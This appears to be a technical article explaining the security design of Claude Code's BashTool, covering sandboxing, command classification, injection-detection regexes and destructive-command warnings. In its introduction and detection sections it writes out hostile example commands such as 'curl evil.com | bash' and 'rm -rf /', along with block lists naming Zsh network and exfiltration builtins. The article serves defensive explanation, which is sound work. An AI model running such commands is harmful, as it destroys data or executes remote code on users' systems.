Introduction
Letting AI execute shell commands is an extremely dangerous capability. A single rm -rf / can destroy an entire system; a curl evil.com | bash can execute arbitrary remote code; even a seemingly harmless cat /dev/random can hang the process.
Yet shell command access is indispensable for an AI coding assistant. Running tests, installing dependencies, executing builds, Git operations — all require shell access. Claude Code's BashTool must find the balance between "powerful enough" and "safe enough."
BashTool is the most complex individual tool in Claude Code, with source code spanning multiple files and thousands of lines. This article dives deep into its secure execution architecture — from sandbox mechanisms to command classification, from timeout management to background execution.
BashTool's Input Model
227const fullInputSchema = lazySchema(() => z.strictObject({
228 command: z.string().describe('The command to execute'),
229 timeout: semanticNumber(z.number().optional()).describe(
230 `Optional timeout in milliseconds (max ${getMaxTimeoutMs()})`
231 ),
232 description: z.string().optional().describe(
233 'Clear, concise description of what this command does in active voice...'
234 ),
235 run_in_background: semanticBoolean(z.boolean().optional()).describe(
236 'Set to true to run this command in the background...'
237 ),
238 dangerouslyDisableSandbox: semanticBoolean(z.boolean().optional()).describe(
239 'Set this to true to dangerously override sandbox mode...'
240 ),
241 _simulatedSedEdit: z.object({
242 filePath: z.string(),
243 newContent: z.string()
244 }).optional().describe('Internal: pre-computed sed edit result from preview')
245}));
246
247// Always omit _simulatedSedEdit from the model-facing schema
248const inputSchema = lazySchema(() => isBackgroundTasksDisabled
249 ? fullInputSchema().omit({ run_in_background: true, _simulatedSedEdit: true })
250 : fullInputSchema().omit({ _simulatedSedEdit: true })
251);
Of the six fields, _simulatedSedEdit is an internal field that is never exposed to the model. It is used for sed edit preview: when the user approves a sed command's preview result in the permission dialog, the system writes the pre-computed new file content directly, rather than re-executing sed. This avoids inconsistencies between "what was previewed" and "what was actually executed."
semanticNumber and semanticBoolean are Claude Code-specific Zod types — they accept string-form numbers/booleans at the schema level (like "true" or "120000"), handling cases where the AI occasionally sends parameters as strings.
Command Classification System
BashTool classifies shell commands into multiple semantic categories, used for UI presentation and behavioral decisions:
60const BASH_SEARCH_COMMANDS = new Set([
61 'find', 'grep', 'rg', 'ag', 'ack', 'locate', 'which', 'whereis'
62]);
63
64const BASH_READ_COMMANDS = new Set([
65 'cat', 'head', 'tail', 'less', 'more',
66 'wc', 'stat', 'file', 'strings',
67 'jq', 'awk', 'cut', 'sort', 'uniq', 'tr'
68]);
69
70const BASH_LIST_COMMANDS = new Set(['ls', 'tree', 'du']);
71
72const BASH_SEMANTIC_NEUTRAL_COMMANDS = new Set([
73 'echo', 'printf', 'true', 'false', ':'
74]);
75
76const BASH_SILENT_COMMANDS = new Set([
77 'mv', 'cp', 'rm', 'mkdir', 'rmdir', 'chmod', 'chown',
78 'chgrp', 'touch', 'ln', 'cd', 'export', 'unset', 'wait'
79]);
Pipeline and Compound Command Classification
The classification logic does not simply check the first command. For pipelines (cat file | grep pattern), all parts must be search/read commands for the entire command to be classified as search/read:
94export function isSearchOrReadBashCommand(command: string): {
95 isSearch: boolean;
96 isRead: boolean;
97 isList: boolean;
98} {
99 let partsWithOperators: string[];
100 try {
101 partsWithOperators = splitCommandWithOperators(command);
102 } catch {
103 return { isSearch: false, isRead: false, isList: false };
104 }
105
106 // ... iterate over all parts
107
108 // Semantic-neutral commands (echo, printf, true, false, :) are skipped
109 // in any position, as they're pure output/status commands that don't
110 // affect the read/search nature of the pipeline
111 // e.g. `ls dir && echo "---" && ls dir2` is still a read
echo and printf are marked as "semantically neutral" — they do not change the overall read/write nature of a pipeline. ls dir && echo "---" && ls dir2 is still classified as a directory listing command because echo does not affect the semantics.
Command Semantic Interpretation
Different commands have different exit code meanings. grep returning 1 means "no matches found" rather than an error; diff returning 1 means "files differ." BashTool correctly interprets these cases through a semantic mapping table:
31const COMMAND_SEMANTICS: Map<string, CommandSemantic> = new Map([
32 // grep: 0=matches found, 1=no matches, 2+=error
33 ['grep', (exitCode) => ({
34 isError: exitCode >= 2,
35 message: exitCode === 1 ? 'No matches found' : undefined,
36 })],
37
38 // ripgrep has same semantics as grep
39 ['rg', (exitCode) => ({
40 isError: exitCode >= 2,
41 message: exitCode === 1 ? 'No matches found' : undefined,
42 })],
43
44 // diff: 0=no differences, 1=differences found, 2+=error
45 ['diff', (exitCode) => ({
46 isError: exitCode >= 2,
47 message: exitCode === 1 ? 'Files differ' : undefined,
48 })],
49
50 // test/[: 0=condition true, 1=condition false, 2+=error
51 ['test', (exitCode) => ({
52 isError: exitCode >= 2,
53 message: exitCode === 1 ? 'Condition is false' : undefined,
54 })],
55])
Sandbox Mechanism
BashTool's sandbox is an optional but recommended security layer that controls which files and network hosts commands can access.
Sandbox Decision Flow
130export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
131 if (!SandboxManager.isSandboxingEnabled()) {
132 return false
133 }
134
135 // Don't sandbox if explicitly overridden AND unsandboxed commands are allowed
136 if (
137 input.dangerouslyDisableSandbox &&
138 SandboxManager.areUnsandboxedCommandsAllowed()
139 ) {
140 return false
141 }
142
143 if (!input.command) {
144 return false
145 }
146
147 // Don't sandbox if the command contains user-configured excluded commands
148 if (containsExcludedCommand(input.command)) {
149 return false
150 }
151
152 return true
153}
Four conditions can bypass the sandbox:
- Sandboxing is globally disabled
dangerouslyDisableSandbox: true and the policy allows unsandboxed commands
- No command (empty call)
- The command matches the user-configured exclusion list
Excluded Command Matching
The exclusion list supports the same pattern syntax as permission rules:
71 for (const subcommand of subcommands) {
72 const trimmed = subcommand.trim()
73 // Also try matching with env var prefixes and wrapper commands stripped
74 // e.g. `FOO=bar bazel ...` and `timeout 30 bazel ...` match `bazel:*`
75 const candidates = [trimmed]
76 const seen = new Set(candidates)
77 let startIdx = 0
78 while (startIdx < candidates.length) {
79 const endIdx = candidates.length
80 for (let i = startIdx; i < endIdx; i++) {
81 const cmd = candidates[i]!
82 const envStripped = stripAllLeadingEnvVars(cmd, BINARY_HIJACK_VARS)
83 if (!seen.has(envStripped)) {
84 candidates.push(envStripped)
85 seen.add(envStripped)
86 }
87 const wrapperStripped = stripSafeWrappers(cmd)
88 if (!seen.has(wrapperStripped)) {
89 candidates.push(wrapperStripped)
90 seen.add(wrapperStripped)
91 }
92 }
93 startIdx = endIdx
94 }
95 // ... match each candidate against excluded patterns
96 }
This uses fixed-point iteration to handle interleaved environment variables and wrapper commands: timeout 300 FOO=bar bazel run requires first stripping timeout 300, then stripping FOO=bar, and finally matching bazel. A single pass cannot handle this interleaving.
Sandbox Prompt Injection
When sandboxing is enabled, BashTool's prompt dynamically injects sandbox restriction information:
172function getSimpleSandboxSection(): string {
173 if (!SandboxManager.isSandboxingEnabled()) {
174 return ''
175 }
176
177 const fsReadConfig = SandboxManager.getFsReadConfig()
178 const fsWriteConfig = SandboxManager.getFsWriteConfig()
179 const networkRestrictionConfig = SandboxManager.getNetworkRestrictionConfig()
180
181 const filesystemConfig = {
182 read: {
183 denyOnly: dedup(fsReadConfig.denyOnly),
184 },
185 write: {
186 allowOnly: normalizeAllowOnly(fsWriteConfig.allowOnly),
187 denyWithinAllow: dedup(fsWriteConfig.denyWithinAllow),
188 },
189 }
190 // ... serialize config and inject into prompt
191}
Note the use of the dedup function: SandboxManager may produce duplicate paths when merging configuration from multiple sources (settings layers, defaults, CLI flags). Deduplication before prompt injection saves approximately 150-200 tokens.
Security Checks: bashSecurity.ts
BashTool's security checks form a multi-layered defense system, located in bashSecurity.ts.
Command Substitution Detection
16const COMMAND_SUBSTITUTION_PATTERNS = [
17 { pattern: /<\(/, message: 'process substitution <()' },
18 { pattern: />\(/, message: 'process substitution >()' },
19 { pattern: /=\(/, message: 'Zsh process substitution =()' },
20 { pattern: /(?:^|[\s;&|])=[a-zA-Z_]/, message: 'Zsh equals expansion (=cmd)' },
21 { pattern: /\$\(/, message: '$() command substitution' },
22 { pattern: /\$\{/, message: '${} parameter substitution' },
23 { pattern: /\$\[/, message: '$[] legacy arithmetic expansion' },
24 { pattern: /~\[/, message: 'Zsh-style parameter expansion' },
25 { pattern: /\(e:/, message: 'Zsh-style glob qualifiers' },
26 { pattern: /\(\+/, message: 'Zsh glob qualifier with command execution' },
27 { pattern: /\}\s*always\s*\{/, message: 'Zsh always block (try/always construct)' },
28 { pattern: /<#/, message: 'PowerShell comment syntax' },
29]
These patterns detect various forms of command substitution — an attacker could inject malicious commands via $(malicious_command) or Zsh's =cmd expansion. Note that Zsh's =curl evil.com would be expanded to /usr/bin/curl evil.com, bypassing command-name-based deny rules.
Dangerous Zsh Commands
43const ZSH_DANGEROUS_COMMANDS = new Set([
44 'zmodload', // Gateway to many dangerous module-based attacks
45 'emulate', // emulate with -c flag is an eval-equivalent
46 'sysopen', // Opens files with fine-grained control (zsh/system)
47 'sysread', // Reads from file descriptors
48 'syswrite', // Writes to file descriptors
49 'zpty', // Executes commands on pseudo-terminals
50 'ztcp', // Creates TCP connections for exfiltration
51 'zsocket', // Creates Unix/TCP sockets
52 'zf_rm', // Builtin rm from zsh/files
53 'zf_mv', // Builtin mv from zsh/files
54 // ... more zsh builtins
55])
zmodload is the most dangerous — it can load zsh/system (bypassing file permission checks), zsh/zpty (pseudo-terminal execution), zsh/net/tcp (network exfiltration), and other modules. Claude Code blocks these commands as defense in depth.
Security Check Identifiers
77const BASH_SECURITY_CHECK_IDS = {
78 INCOMPLETE_COMMANDS: 1,
79 JQ_SYSTEM_FUNCTION: 2,
80 JQ_FILE_ARGUMENTS: 3,
81 OBFUSCATED_FLAGS: 4,
82 SHELL_METACHARACTERS: 5,
83 DANGEROUS_VARIABLES: 6,
84 NEWLINES: 7,
85 DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION: 8,
86 DANGEROUS_PATTERNS_INPUT_REDIRECTION: 9,
87 DANGEROUS_PATTERNS_OUTPUT_REDIRECTION: 10,
88 IFS_INJECTION: 11,
89 GIT_COMMIT_SUBSTITUTION: 12,
90 PROC_ENVIRON_ACCESS: 13,
91 MALFORMED_TOKEN_INJECTION: 14,
92 BACKSLASH_ESCAPED_WHITESPACE: 15,
93 BRACE_EXPANSION: 16,
94 CONTROL_CHARACTERS: 17,
95 UNICODE_WHITESPACE: 18,
96 MID_WORD_HASH: 19,
97 ZSH_DANGEROUS_COMMANDS: 20,
98 BACKSLASH_ESCAPED_OPERATORS: 21,
99 COMMENT_QUOTE_DESYNC: 22,
100 QUOTED_NEWLINE: 23,
101} as const
23 security checks, each with a numeric ID (to avoid logging strings), covering a broad threat surface from IFS injection to Unicode whitespace attacks.
Destructive Command Warnings
12const DESTRUCTIVE_PATTERNS: DestructivePattern[] = [
13 // Git — data loss / hard to reverse
14 { pattern: /\bgit\s+reset\s+--hard\b/,
15 warning: 'Note: may discard uncommitted changes' },
16 { pattern: /\bgit\s+push\b[^;&|\n]*[ \t](--force|--force-with-lease|-f)\b/,
17 warning: 'Note: may overwrite remote history' },
18 { pattern: /\bgit\s+clean\b(?![^;&|\n]*(?:-[a-zA-Z]*n|--dry-run))[^;&|\n]*-[a-zA-Z]*f/,
19 warning: 'Note: may permanently delete untracked files' },
20
21 // File deletion
22 { pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR][a-zA-Z]*f/,
23 warning: 'Note: may recursively force-remove files' },
24
25 // Database
26 { pattern: /\b(DROP|TRUNCATE)\s+(TABLE|DATABASE|SCHEMA)\b/i,
27 warning: 'Note: may drop or truncate database objects' },
28
29 // Infrastructure
30 { pattern: /\bkubectl\s+delete\b/,
31 warning: 'Note: may delete Kubernetes resources' },
32 { pattern: /\bterraform\s+destroy\b/,
33 warning: 'Note: may destroy Terraform infrastructure' },
34]
These warnings are purely informational — they do not affect permission logic or auto-approval. They are displayed in the permission dialog to help users make informed decisions. Note that the git clean regex excludes the --dry-run and -n flags — a dry run is not destructive.
Timeout Management
BashTool has three tiers of timeout control:
27export function getDefaultTimeoutMs(): number {
28 return getDefaultBashTimeoutMs()
29}
30
31export function getMaxTimeoutMs(): number {
32 return getMaxBashTimeoutMs()
33}
- Default timeout — Typically 120 seconds (2 minutes), suitable for most commands
- Maximum timeout — Typically 600 seconds (10 minutes), the AI can request more time via the
timeout parameter
- Background execution — Long-running commands can be moved to background via
run_in_background: true
Background Execution
52const PROGRESS_THRESHOLD_MS = 2000; // Show progress after 2 seconds
53const ASSISTANT_BLOCKING_BUDGET_MS = 15_000;
In Assistant mode, blocking commands are automatically backgrounded after 15 seconds. This prevents long-running builds or tests from blocking the entire interaction loop.
Background tasks have dedicated lifecycle management:
sequenceDiagram
participant AI as Claude
participant Bash as BashTool
participant Task as LocalShellTask
participant User as User
AI->>Bash: run_in_background: true
Bash->>Task: spawnShellTask(command)
Task-->>Bash: taskId
Bash-->>AI: backgroundTaskId: "task-123"
Note over Task: Command executing in background...
Task-->>User: System notification: Command completed
AI->>Bash: Read task output
Bash-->>AI: stdout + stderr
Commands that should not be automatically backgrounded are on a blocklist — sleep is among them, since it is typically a prelude to waiting and should not be backgrounded.
Progress Display
54const PROGRESS_THRESHOLD_MS = 2000; // Show progress after 2 seconds
Progress is shown after a command runs for more than 2 seconds. This avoids unnecessary UI noise for fast commands while keeping users informed that long-running commands are still executing.
Permission System Interaction
BashTool's permission checks are the most complex among all tools, located in bashPermissions.ts.
Subcommand Splitting
96export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
97export const MAX_SUGGESTED_RULES_FOR_COMPOUND = 5
Compound commands (like mkdir -p src && touch src/index.ts && npm init) are split into subcommands, with each subcommand checked independently for permissions. But there is an upper limit — 50 subcommands. Beyond this number, the system cannot prove the command is safe and falls back to ask (requesting user confirmation).
The reason for this limit is explained in the source code: splitCommand_DEPRECATED can produce an exponentially growing array of subcommands on complex compound commands, each requiring tree-sitter parsing and ~20 validators, causing event loop starvation.
Classifier-Based Permissions
Claude Code supports AI classifier-based permission decisions — using a model to understand a command's intent, rather than relying solely on pattern matching. This system is implemented in bashPermissions.ts via classifyBashCommand, with evaluation results logged for analysis in internal builds.
Prompt Engineering: Guiding the AI to Use the Right Tools
BashTool's prompt not only describes the tool itself but also explicitly guides the AI to prefer dedicated tools:
280const toolPreferenceItems = [
281 `File search: Use ${GLOB_TOOL_NAME} (NOT find or ls)`,
282 `Content search: Use ${GREP_TOOL_NAME} (NOT grep or rg)`,
283 `Read files: Use ${FILE_READ_TOOL_NAME} (NOT cat/head/tail)`,
284 `Edit files: Use ${FILE_EDIT_TOOL_NAME} (NOT sed/awk)`,
285 `Write files: Use ${FILE_WRITE_TOOL_NAME} (NOT echo >/cat <<EOF)`,
286 'Communication: Output text directly (NOT echo/printf)',
287]
This explicit "NOT X" negation is more effective than "prefer Y" — it directly tells the AI what not to do, reducing ambiguity.
Git Safety Protocol
The prompt includes a detailed Git safety protocol:
82// Git Safety Protocol:
83// - NEVER update the git config
84// - NEVER run destructive git commands (push --force, reset --hard, ...)
85// unless the user explicitly requests
86// - NEVER skip hooks (--no-verify, --no-gpg-sign, etc)
87// - NEVER run force push to main/master
88// - CRITICAL: Always create NEW commits rather than amending
89// - When staging files, prefer adding specific files by name
90// rather than "git add -A" or "git add ."
91// - NEVER commit changes unless the user explicitly asks
These rules are not suggestions — they are hard constraints. The rule marked "CRITICAL" (always create new commits rather than amending) addresses a real data loss risk: when a pre-commit hook fails, the commit did not actually happen, so --amend would modify the previous commit.
Sleep Detection
An interesting safeguard — preventing the AI from using sleep for polling:
322export function detectBlockedSleepPattern(command: string): string | null {
323 const parts = splitCommand_DEPRECATED(command);
324 if (parts.length === 0) return null;
325 const first = parts[0]?.trim() ?? '';
326 const m = /^sleep\s+(\d+)\s*$/.exec(first);
327 if (!m) return null;
328 const secs = parseInt(m[1]!, 10);
329 if (secs < 2) return null; // sub-2s sleeps are fine (rate limiting, pacing)
330
331 const rest = parts.slice(1).join(' ').trim();
332 return rest
333 ? `sleep ${secs} followed by: ${rest}`
334 : `standalone sleep ${secs}`;
335}
Sleeps under 2 seconds are allowed (for rate limiting), but longer sleeps are blocked or warned about. When a pattern like sleep 5 && check_status is detected, the system suggests using run_in_background or a Monitor tool instead.
Sed Edit Preview
BashTool has special handling for sed commands — it can show edit previews in the permission dialog:
360async function applySedEdit(
361 simulatedEdit: { filePath: string; newContent: string },
362 toolUseContext: SimulatedSedEditContext,
363 parentMessage?: AssistantMessage
364): Promise<SimulatedSedEditResult> {
365 const { filePath, newContent } = simulatedEdit;
366 const absoluteFilePath = expandPath(filePath);
367
368 // Read original content for VS Code notification
369 let originalContent: string;
370 try {
371 originalContent = await fs.readFile(absoluteFilePath, { encoding });
372 } catch (e) { /* handle ENOENT */ }
373
374 // Track file history before making changes (for undo support)
375 if (fileHistoryEnabled() && parentMessage) {
376 await fileHistoryTrackEdit(
377 toolUseContext.updateFileHistoryState,
378 absoluteFilePath,
379 parentMessage.uuid
380 );
381 }
382
383 // Detect line endings and write new content
384 const endings = detectLineEndings(absoluteFilePath);
385 writeTextContent(absoluteFilePath, newContent, encoding, endings);
This ensures that the diff the user sees in the permission dialog and the content actually written are exactly the same — there is no risk of different results due to sed execution environment differences.
Design Takeaways
BashTool's design embodies several key principles:
-
Defense in depth — Sandbox, permission checks, security pattern validation, destructive command warnings — each layer may fail individually, but together they provide robust protection
-
Semantic understanding — Command classification, exit code interpretation, silent command recognition — the system does not merely execute commands, it understands their semantics
-
Progressive strategy — Sandbox by default, with conditional bypass. Default timeout of 2 minutes, extendable to 10 minutes. Foreground by default, with background support. Every constraint has an escape hatch
-
Complexity budget — Subcommand count limits, numeric IDs for security checks, deduplicated sandbox paths — when complexity is unavoidable, the system sets explicit complexity budgets to prevent runaway behavior